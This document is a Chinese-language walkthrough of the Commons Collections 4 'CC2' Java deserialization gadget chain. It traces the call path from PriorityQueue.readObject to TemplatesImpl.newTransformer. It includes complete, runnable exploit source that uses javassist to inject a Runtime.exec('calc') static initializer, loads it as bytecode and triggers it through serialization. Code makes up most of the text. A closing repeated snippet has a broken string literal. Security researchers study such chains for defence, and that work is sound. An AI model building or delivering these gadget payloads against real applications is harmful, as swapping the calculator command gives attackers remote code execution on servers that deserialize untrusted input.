cc2链
pom.xml配置
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
调用链:还是InvokerTransformer的transform入手
看到TransformingComparator的compare以及构造函数
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
/**
* Constructs an instance with the given Transformer and Comparator.
*
* @param transformer what will transform the arguments to <code>compare</code>
* @param decorated the decorated Comparator
*/
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
Transformer<? super I, ? extends O>这个参数是泛型的用法。? super I表示I或I的父类,? extends O表示O或O的子类。transformer属性可控。
看关于compare的调用。到PriorityQueue类,该类对于compare的调用是:readObject->heapify->siftDown->siftDownUsingComparator->compare
所以整个流程就是:readObject->heapify->siftDown->siftDownUsingComparator->compare->transform
看cc2利用代码
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
.getDeclaredConstructor(String.class);//获取构造方法
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");//实例化一个InvokerTransformer对象
ClassPool pool = ClassPool.getDefault();//获取默认的类池
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));//设置搜索路径
CtClass cc = pool.makeClass("Cat");//创建一个叫cat的类
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);//创建一个静态的类构造方法,并在构造方法开头插入cmd这段代码
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);//设置类名
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));//设置继承的类
byte[] classBytes = cc.toBytecode();//类转为字节码
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
serialize(queue);
unserialize("Object");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object"));
o.writeObject(object);
}
public static void unserialize(String file) throws Exception{
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
可以看到上述代码自己构造了一个类,该类的构造方法有代码java.lang.Runtime.getRuntime().exec("calc");用于弹计算器。把类转换为字节码然后通过TemplatesImpl来加载类,在加载类时调用了其构造方法也就是执行了恶意代码。其中是使用InvokerTransformer的tarnsform方法执行TemplatesImpl的newTransformer方法。看到newTransformer方法
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);//调用了getTransletInstance()
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
看到getTransletInstance
设置_name
不为空,_class
为空,触发defineTransletClasses,从而利用加载器通过类字节码加载类。
ClassPool pool = ClassPool.getDefault();//获取默认的类池
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));//设置搜索路径
CtClass cc = pool.makeClass("Cat");//创建一个叫cat的类
String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
cc.makeClassInitializer().insertBefore(cmd);//创建一个静态的类构造方法,并在构造方法开头插入cmd这段代码
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);//设置类名
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));//设置继承的类